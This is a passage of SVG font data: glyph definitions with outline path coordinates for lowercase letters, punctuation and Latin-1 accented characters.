<glyph unicode="j" horiz-adv-x="463" d="M-98 -381q69 -20 129 -20q151 0 151 176v1312h99v-1298q0 -135 -63.5 -208t-180.5 -73q-80 0 -135 25v86zM168 1389q0 96 63 96q31 0 48.5 -25t17.5 -71q0 -45 -17.5 -71t-48.5 -26q-63 0 -63 97z" />
<glyph unicode="k" horiz-adv-x="991" d="M182 0v1556h99v-780l-7 -299h5l555 610h120l-428 -464l465 -623h-119l-413 549l-178 -162v-387h-99z" />
<glyph unicode="l" horiz-adv-x="463" d="M182 0v1556h99v-1556h-99z" />
<glyph unicode="m" horiz-adv-x="1808" d="M182 0v1087h82l21 -149h6q45 81 128 125.5t183 44.5q257 0 330 -193h4q53 93 142.5 143t203.5 50q178 0 267 -95t89 -302v-711h-98v713q0 159 -62 232t-190 73q-167 0 -247 -92t-80 -289v-637h-101v743q0 275 -252 275q-171 0 -249 -99.5t-78 -318.5v-600h-99z" />
<glyph unicode="n" horiz-adv-x="1208" d="M182 0v1087h84l19 -149h6q106 170 377 170q370 0 370 -397v-711h-98v705q0 164 -69 238.5t-214 74.5q-195 0 -285.5 -98.5t-90.5 -319.5v-600h-99z" />
<glyph unicode="o" horiz-adv-x="1200" d="M119 545q0 266 129 414.5t354 148.5q224 0 351.5 -150.5t127.5 -412.5q0 -266 -129 -415.5t-356 -149.5q-143 0 -252 69t-167 198t-58 298zM223 545q0 -224 98.5 -349.5t278.5 -125.5t278.5 125.5t98.5 349.5q0 225 -99.5 349t-279.5 124t-277.5 -123.5t-97.5 -349.5z " />
<glyph unicode="p" horiz-adv-x="1219" d="M182 -492v1579h84l19 -155h6q112 176 358 176q220 0 335.5 -144.5t115.5 -420.5q0 -268 -121.5 -415.5t-331.5 -147.5q-251 0 -366 188h-7l3 -84q4 -74 4 -162v-414h-99zM281 541q0 -255 85.5 -364t278.5 -109q167 0 258.5 124t91.5 347q0 479 -346 479 q-190 0 -279 -104.5t-89 -340.5v-32z" />
<glyph unicode="q" horiz-adv-x="1219" d="M119 532q0 275 118 425.5t338 150.5q236 0 353 -174h6l18 153h84v-1579h-98v414q0 122 6 248h-6q-118 -190 -369 -190q-214 0 -332 142t-118 410zM223 530q0 -229 89.5 -345.5t258.5 -116.5q198 0 282.5 109t84.5 366v12q0 245 -85 354t-271 109q-176 0 -267.5 -124 t-91.5 -364z" />
<glyph unicode="r" horiz-adv-x="797" d="M182 0v1087h84l10 -196h7q67 120 143 168.5t184 48.5q69 0 148 -14l-19 -95q-68 17 -141 17q-139 0 -228 -118t-89 -298v-600h-99z" />
<glyph unicode="s" horiz-adv-x="954" d="M84 47v107q164 -82 346 -82q161 0 244.5 53.5t83.5 142.5q0 82 -66.5 138t-218.5 110q-163 59 -229 101.5t-99.5 96t-33.5 130.5q0 122 102.5 193t286.5 71q176 0 334 -66l-37 -90q-160 66 -297 66q-133 0 -211 -44t-78 -122q0 -85 60.5 -136t236.5 -114 q147 -53 214 -95.5t100.5 -96.5t33.5 -127q0 -146 -111 -224.5t-315 -78.5q-218 0 -346 67z" />
<glyph unicode="t" horiz-adv-x="686" d="M25 1001v58l161 45l50 246h51v-263h319v-86h-319v-688q0 -125 44 -185t138 -60t164 16v-80q-72 -24 -166 -24q-144 0 -212.5 77t-68.5 242v702h-161z" />
<glyph unicode="u" horiz-adv-x="1208" d="M170 377v710h98v-704q0 -164 69 -238.5t214 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-106 -170 -377 -170q-371 0 -371 397z" />
<glyph unicode="v" horiz-adv-x="940" d="M0 1087h102l281 -739q56 -142 84 -248h6q41 136 84 250l281 737h102l-420 -1087h-100z" />
<glyph unicode="w" horiz-adv-x="1481" d="M31 1087h106l174 -630q61 -234 80 -344h6q59 234 86 311l224 663h90l213 -661q72 -235 88 -311h6q8 65 80 348l166 624h100l-295 -1087h-104l-238 727q-23 74 -59 217h-6l-21 -74l-45 -145l-242 -725h-98z" />
<glyph unicode="x" horiz-adv-x="1020" d="M55 0l394 559l-379 528h114l324 -458l321 458h109l-373 -528l400 -559h-115l-342 485l-344 -485h-109z" />
<glyph unicode="y" horiz-adv-x="940" d="M0 1087h102l230 -610q105 -281 133 -379h6q42 129 137 385l230 604h102l-487 -1263q-59 -154 -99 -208t-93.5 -81t-129.5 -27q-57 0 -127 21v86q58 -16 125 -16q51 0 90 24t70.5 74.5t73 160t53.5 142.5z" />
<glyph unicode="z" horiz-adv-x="944" d="M82 0v63l645 936h-598v88h727v-63l-649 -936h651v-88h-776z" />
<glyph unicode="{" horiz-adv-x="723" d="M61 528v80q122 2 176 51t54 148v350q0 299 360 305v-90q-138 -5 -200 -58t-62 -157v-305q0 -130 -44 -194t-142 -85v-8q97 -20 141.5 -83.5t44.5 -186.5v-322q0 -102 59.5 -152.5t202.5 -53.5v-91q-195 0 -277.5 75t-82.5 231v337q0 205 -230 209z" />
<glyph unicode="|" horiz-adv-x="1108" d="M508 -506v2067h92v-2067h-92z" />
<glyph unicode="}" horiz-adv-x="723" d="M72 -233q141 2 201.5 52.5t60.5 153.5v322q0 123 44.5 186.5t141.5 83.5v8q-97 20 -141.5 84t-44.5 195v305q0 103 -61.5 156.5t-200.5 58.5v90q174 0 267 -77.5t93 -227.5v-350q0 -100 54.5 -148.5t175.5 -50.5v-80q-230 -4 -230 -209v-337q0 -155 -82.5 -230.5 t-277.5 -75.5v91z" />
<glyph unicode="~" d="M111 625v94q108 110 233 110q61 0 115 -13.5t155 -57.5q126 -58 220 -58q56 0 109.5 30.5t115.5 94.5v-96q-48 -49 -104.5 -81t-129.5 -32q-116 0 -270 72q-124 57 -221 57q-49 0 -108 -30.5t-115 -89.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="492" d="M166 1010q0 98 80 98q82 0 82 -98q0 -53 -23.5 -76t-58.5 -23q-34 0 -57 23t-23 76zM186 -375l29 1086h61l29 -1086h-119z" />
<glyph unicode="&#xa2;" d="M211 745q0 232 102.5 381.5t288.5 182.5v174h82v-166h14q131 0 275 -55l-31 -84q-134 51 -237 51q-187 0 -288.5 -122.5t-101.5 -358.5q0 -225 100.5 -349.5t280.5 -124.5q131 0 267 58v-92q-110 -56 -267 -56h-12v-204h-82v210q-186 30 -288.5 175t-102.5 380z" />
<glyph unicode="&#xa3;" d="M78 0v84q110 21 171.5 110t61.5 224v258h-211v82h211v297q0 204 98 315t281 111q175 0 330 -68l-35 -86q-157 66 -295 66q-141 0 -209.5 -81t-68.5 -253v-301h411v-82h-411v-256q0 -116 -35 -196t-113 -128h809v-96h-995z" />
<glyph unicode="&#xa4;" d="M127 326l139 141q-90 106 -90 256q0 147 90 258l-139 141l59 60l138 -142q103 93 260 93q155 0 260 -93l137 142l59 -60l-139 -141q90 -111 90 -258q0 -151 -90 -256l139 -141l-59 -60l-137 142q-110 -93 -260 -93q-153 0 -260 93l-138 -142zM260 723q0 -136 94.5 -232 t229.5 -96q134 0 228.5 95.5t94.5 232.5q0 136 -95 233t-228 97q-134 0 -229 -97t-95 -233z" />
<glyph unicode="&#xa5;" d="M43 1462h117l426 -796l428 796h110l-432 -788h283v-82h-338v-205h338v-82h-338v-305h-105v305h-337v82h337v205h-337v82h278z" />
<glyph unicode="&#xa6;" horiz-adv-x="1108" d="M508 258h92v-764h-92v764zM508 797v764h92v-764h-92z" />
<glyph unicode="&#xa7;" horiz-adv-x="1057" d="M129 63v95q182 -78 332 -78q162 0 247 49.5t85 140.5q0 55 -25 87.5t-88.5 65.5t-190.5 79q-200 73 -272 141.5t-72 169.5q0 83 50.5 152.5t138.5 107.5q-86 47 -125 102t-39 136q0 117 101.5 183.5t275.5 66.5q175 0 336 -64l-35 -80q-91 34 -158.5 47t-144.5 13 q-134 0 -205.5 -44.5t-71.5 -119.5q0 -54 25.5 -88.5t85.5 -65.5t188 -74q192 -64 264 -132.5t72 -170.5q0 -173 -186 -274q86 -42 129 -96t43 -136q0 -135 -113 -207.5t-311 -72.5q-92 0 -171 15t-165 52zM246 825q0 -65 31.5 -104t105.5 -75t250 -99q82 41 126 98t44 121 q0 62 -32 102t-108.5 77t-236.5 87q-81 -23 -130.5 -79t-49.5 -128z" />
<glyph unicode="&#xa8;" horiz-adv-x="1182" d="M336 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM717 1389q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM193 731q0 -178 88.5 -329.5t240.5 -240.5t330 -89t329.5 88.5t240.5 240.5t89 330q0 174 -85.5 325 t-239 243t-334.5 92q-176 0 -328.5 -88.5t-241.5 -242.5t-89 -329zM489 725q0 208 111 332.5t297 124.5q119 0 227 -52l-37 -83q-98 45 -190 45q-142 0 -222.5 -94.5t-80.5 -264.5q0 -186 74.5 -275t220.5 -89q84 0 198 43v-88q-102 -45 -208 -45q-187 0 -288.5 115 t-101.5 331z" />
<glyph unicode="&#xaa;" horiz-adv-x="686" d="M78 989q0 100 80 151.5t241 59.5l95 4v43q0 77 -38 114.5t-106 37.5q-87 0 -196 -49l-33 73q117 56 231 56q228 0 228 -215v-451h-68l-25 72q-84 -84 -202 -84q-95 0 -151 49t-56 139zM168 993q0 -54 35 -85t96 -31q90 0 142.5 50t52.5 142v64l-88 -5q-116 -6 -177 -36.5 t-61 -98.5z" />
<glyph unicode="&#xab;" horiz-adv-x="885" d="M82 516v27l309 393l62 -43l-254 -363l254 -362l-62 -43zM442 516v27l310 393l61 -43l-254 -363l254 -362l-61 -43z" />
<glyph unicode="&#xac;" d="M111 682v82h927v-494h-82v412h-845z" />
<glyph unicode="&#xad;" horiz-adv-x="659" d="M92 512v82h475v-82h-475z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM193 731q0 -178 88.5 -329.5t240.5 -240.5t330 -89t329.5 88.5t240.5 240.5t89 330q0 174 -85.5 325 t-239 243t-334.5 92q-176 0 -328.5 -88.5t-241.5 -242.5t-89 -329zM608 291v880h211q143 0 222 -62t79 -191q0 -79 -38.5 -139.5t-110.5 -94.5l237 -393h-121l-210 360h-168v-360h-101zM709 731h112q91 0 143 46.5t52 135.5q0 172 -197 172h-110v-354z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556v82h1036v-82h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M139 1184q0 132 86.5 215.5t212.5 83.5t212.5 -83.5t86.5 -215.5t-86.5 -215.5t-212.5 -83.5q-130 0 -214.5 83t-84.5 216zM229 1184q0 -91 61 -154t148 -63q86 0 147.5 62t61.5 155q0 92 -60 154.5t-149 62.5q-90 0 -149.5 -64t-59.5 -153z" />
<glyph unicode="&#xb1;" d="M111 1v82h948v-82h-948zM111 682v82h432v434h82v-434h434v-82h-434v-432h-82v432h-432z" />
<glyph unicode="&#xb2;" horiz-adv-x="688" d="M53 586v78l242 237q125 121 172 193t47 149q0 71 -46.5 112.5t-123.5 41.5q-108 0 -217 -82l-49 65q119 103 270 103q124 0 194 -63.5t70 -174.5q0 -47 -13 -89t-40 -85.5t-68.5 -90t-308.5 -306.5h447v-88h-576z" />
<glyph unicode="&#xb3;" horiz-adv-x="688" d="M41 629v88q136 -62 266 -62q115 0 174.5 49t59.5 136q0 83 -59.5 122t-178.5 39h-131v84h135q105 0 158 43.5t53 120.5q0 67 -47 107.5t-127 40.5q-128 0 -246 -78l-47 70q130 94 293 94q127 0 199.5 -60t72.5 -163q0 -78 -44 -131.5t-117 -75.5q186 -45 186 -211 q0 -130 -88.5 -201.5t-247.5 -71.5q-144 0 -264 60z" />
<glyph unicode="&#xb4;" horiz-adv-x="1182" d="M393 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xb5;" horiz-adv-x="1221" d="M182 -492v1579h99v-704q0 -164 69 -238.5t213 -74.5q194 0 285.5 98t91.5 319v600h98v-1087h-84l-18 150h-6q-50 -77 -150 -123.5t-217 -46.5q-99 0 -167.5 27.5t-119.5 84.5q5 -92 5 -170v-414h-99z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M113 1042q0 260 109 387t341 127h543v-1816h-100v1722h-228v-1722h-100v819q-64 -18 -146 -18q-216 0 -317.5 125t-101.5 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="487" d="M162 721q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M43 -393q30 -10 92 -10q78 0 119 28t41 80q0 94 -193 121l93 174h96l-66 -117q168 -37 168 -174q0 -100 -67.5 -150.5t-188.5 -50.5q-68 0 -94 11v88z" />
<glyph unicode="&#xb9;" horiz-adv-x="688" d="M76 1298l274 164h92v-876h-98v547q0 99 12 233q-26 -23 -233 -145z" />
<glyph unicode="&#xba;" horiz-adv-x="739" d="M70 1141q0 162 78 250t223 88q142 0 220.5 -87t78.5 -251q0 -161 -80 -250.5t-223 -89.5t-220 86t-77 254zM160 1141q0 -264 209 -264t209 264q0 131 -50 194.5t-159 63.5t-159 -63.5t-50 -194.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="885" d="M72 168l254 362l-254 363l61 43l309 -391v-27l-309 -393zM432 168l254 362l-254 363l62 43l309 -391v-27l-309 -393z" />
<glyph unicode="&#xbc;" horiz-adv-x="1516" d="M59 1298l274 164h92v-876h-98v547q0 99 12 233q-26 -23 -233 -145zM243 0l811 1462h94l-811 -1462h-94zM760 242v60l407 581h96v-563h129v-78h-129v-241h-90v241h-413zM864 320h309v221q0 132 8 232q-6 -12 -21.5 -35.5t-295.5 -417.5z" />
<glyph unicode="&#xbd;" horiz-adv-x="1516" d="M11 1298l274 164h92v-876h-98v547q0 99 12 233q-26 -23 -233 -145zM168 0l811 1462h94l-811 -1462h-94zM827 1v78l242 237q125 121 172 193t47 149q0 71 -46.5 112.5t-123.5 41.5q-108 0 -217 -82l-49 65q119 103 270 103q124 0 194 -63.5t70 -174.5q0 -47 -13 -89 t-40 -85.5t-68.5 -90t-308.5 -306.5h447v-88h-576z" />
<glyph unicode="&#xbe;" horiz-adv-x="1516" d="M41 629v88q136 -62 266 -62q115 0 174.5 49t59.5 136q0 83 -59.5 122t-178.5 39h-131v84h135q105 0 158 43.5t53 120.5q0 67 -47 107.5t-127 40.5q-128 0 -246 -78l-47 70q130 94 293 94q127 0 199.5 -60t72.5 -163q0 -78 -44 -131.5t-117 -75.5q186 -45 186 -211 q0 -130 -88.5 -201.5t-247.5 -71.5q-144 0 -264 60zM395 0l811 1462h94l-811 -1462h-94zM863 242v60l407 581h96v-563h129v-78h-129v-241h-90v241h-413zM967 320h309v221q0 132 8 232q-6 -12 -21.5 -35.5t-295.5 -417.5z" />
<glyph unicode="&#xbf;" horiz-adv-x="862" d="M74 -27q0 70 20 124t58.5 102t171.5 159q64 53 98.5 98.5t49.5 94t15 145.5v15h82v-37q0 -125 -39.5 -204.5t-136.5 -164.5l-90 -79q-73 -61 -104 -120.5t-31 -138.5q0 -124 82 -200t221 -76q125 0 233 46l64 27l37 -79q-111 -48 -185.5 -64t-152.5 -16q-184 0 -288.5 99 t-104.5 269zM440 1010q0 98 80 98q82 0 82 -98q0 -53 -23.5 -76t-58.5 -23q-34 0 -57 23t-23 76z" />
<glyph unicode="&#xc0;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM337 1890v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM504 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xc2;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM328 1579v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xc3;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM287 1581q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61 q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xc4;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM367 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM748 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xc5;" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174zM402 1610q0 94 60 152.5t157 58.5t157 -59t60 -152q0 -97 -60 -155t-157 -58t-157 58t-60 155zM482 1610q0 -66 37.5 -103.5t99.5 -37.5 t99.5 37.5t37.5 103.5q0 64 -39 101.5t-98 37.5q-62 0 -99.5 -38t-37.5 -101z" />
<glyph unicode="&#xc6;" horiz-adv-x="1653" d="M-2 0l653 1462h877v-94h-615v-553h576v-94h-576v-627h615v-94h-717v516h-475l-227 -516h-111zM377 608h434v760h-100z" />
<glyph unicode="&#xc7;" horiz-adv-x="1272" d="M129 735q0 223 84.5 393t243 262.5t368.5 92.5q214 0 383 -80l-41 -92q-160 80 -336 80q-275 0 -433 -176t-158 -482q0 -313 149 -486t426 -173q184 0 338 47v-90q-145 -51 -362 -51q-308 0 -485 199t-177 556zM561 -393q30 -10 92 -10q78 0 119 28t41 80q0 94 -193 121 l93 174h96l-66 -117q168 -37 168 -174q0 -100 -67.5 -150.5t-188.5 -50.5q-68 0 -94 11v88z" />
<glyph unicode="&#xc8;" horiz-adv-x="1130" d="M207 0v1462h799v-94h-697v-553h658v-94h-658v-627h697v-94h-799zM314 1890v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1130" d="M207 0v1462h799v-94h-697v-553h658v-94h-658v-627h697v-94h-799zM463 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xca;" horiz-adv-x="1130" d="M207 0v1462h799v-94h-697v-553h658v-94h-658v-627h697v-94h-799zM315 1579v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xcb;" horiz-adv-x="1130" d="M207 0v1462h799v-94h-697v-553h658v-94h-658v-627h697v-94h-799zM354 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM735 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xcc;" horiz-adv-x="516" d="M207 0v1462h102v-1462h-102zM-63 1890v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="516" d="M207 0v1462h102v-1462h-102zM191 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xce;" horiz-adv-x="516" d="M207 0v1462h102v-1462h-102zM-32 1579v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xcf;" horiz-adv-x="516" d="M207 0v1462h102v-1462h-102zM5 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM386 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xd0;" horiz-adv-x="1466" d="M47 678v94h160v690h395q350 0 532.5 -183t182.5 -534q0 -368 -193 -556.5t-567 -188.5h-350v678h-160zM309 90h242q655 0 655 651q0 314 -159.5 472.5t-468.5 158.5h-269v-600h406v-94h-406v-588z" />
<glyph unicode="&#xd1;" horiz-adv-x="1477" d="M207 0v1462h102l865 -1296h6q-9 180 -9 342v954h99v-1462h-103l-866 1298h-8q12 -232 12 -350v-948h-98zM400 1581q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5 q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xd2;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483zM502 1890v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483zM686 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xd4;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483zM492 1579v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xd5;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483zM443 1581q10 111 63 174.5t137 63.5q48 0 88 -25t82 -59q34 -28 66 -50t61 -22q46 0 77 36.5t48 119.5h76q-16 -116 -69 -177t-132 -61q-36 0 -75 18.5t-101 71.5q-32 26 -62.5 46t-62.5 20q-45 0 -75 -34.5t-48 -121.5h-73z" />
<glyph unicode="&#xd6;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483zM529 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM910 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xd7;" d="M119 1130l57 58l408 -408l409 408l58 -58l-408 -407l406 -408l-58 -57l-407 408l-406 -408l-57 57l405 408z" />
<glyph unicode="&#xd8;" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q232 0 392 -121l108 152l72 -60l-111 -153q191 -207 191 -570q0 -348 -174 -550.5t-480 -202.5q-236 0 -395 120l-86 -120l-74 59l90 127q-188 200 -188 569zM240 733q0 -312 139 -483l739 1034q-133 102 -334 102 q-261 0 -402.5 -170t-141.5 -483zM444 182q133 -106 338 -106q264 0 403.5 170t139.5 487q0 315 -139 486z" />
<glyph unicode="&#xd9;" horiz-adv-x="1473" d="M190 520v942h103v-946q0 -211 117 -328.5t331 -117.5q209 0 324 115.5t115 320.5v956h102v-946q0 -252 -146 -394t-407 -142q-254 0 -396.5 142.5t-142.5 397.5zM450 1890v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1473" d="M190 520v942h103v-946q0 -211 117 -328.5t331 -117.5q209 0 324 115.5t115 320.5v956h102v-946q0 -252 -146 -394t-407 -142q-254 0 -396.5 142.5t-142.5 397.5zM633 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xdb;" horiz-adv-x="1473" d="M190 520v942h103v-946q0 -211 117 -328.5t331 -117.5q209 0 324 115.5t115 320.5v956h102v-946q0 -252 -146 -394t-407 -142q-254 0 -396.5 142.5t-142.5 397.5zM444 1579v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207 q-108 -114 -221 -207h-70z" />
<glyph unicode="&#xdc;" horiz-adv-x="1473" d="M190 520v942h103v-946q0 -211 117 -328.5t331 -117.5q209 0 324 115.5t115 320.5v956h102v-946q0 -252 -146 -394t-407 -142q-254 0 -396.5 142.5t-142.5 397.5zM481 1727q0 46 15.5 66t47.5 20q64 0 64 -86t-64 -86q-63 0 -63 86zM862 1727q0 46 15.5 66t47.5 20 q64 0 64 -86t-64 -86q-63 0 -63 86z" />
<glyph unicode="&#xdd;" horiz-adv-x="1081" d="M0 1462h117l426 -800l428 800h110l-487 -897v-565h-105v557zM434 1579v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xde;" horiz-adv-x="1198" d="M207 0v1462h102v-264h256q522 0 522 -420q0 -212 -144 -325t-408 -113h-226v-340h-102zM309 428h201q247 0 357 81.5t110 264.5q0 169 -104 250.5t-322 81.5h-242v-678z" />
<glyph unicode="&#xdf;" horiz-adv-x="1194" d="M182 0v1206q0 173 103.5 267t292.5 94q188 0 285.5 -72.5t97.5 -210.5q0 -139 -139 -250q-81 -64 -110.5 -100.5t-29.5 -75.5q0 -44 14.5 -68t51.5 -57t102 -78q106 -75 151.5 -124.5t68 -103t22.5 -120.5q0 -156 -88 -241.5t-246 -85.5q-95 0 -174.5 18.5t-126.5 48.5 v107q65 -38 148.5 -62t152.5 -24q114 0 174.5 54.5t60.5 160.5q0 83 -39 144t-149 136q-127 87 -175 147t-48 146q0 60 32.5 110t106.5 108q74 57 106.5 105.5t32.5 106.5q0 93 -70 143t-202 50q-145 0 -226 -69t-81 -196v-1214h-99z" />
<glyph unicode="&#xe0;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM255 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM422 1241v16q73 79 144.5 171.5t97.5 140.5h141v-17q-36 -52 -122.5 -138t-190.5 -173h-70z" />
<glyph unicode="&#xe2;" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5zM251 1241v16q62 67 131.5 156t110.5 156h98q68 -120 242 -312v-16h-70q-122 101 -221 207q-108 -114 -221 -207h-70z" />
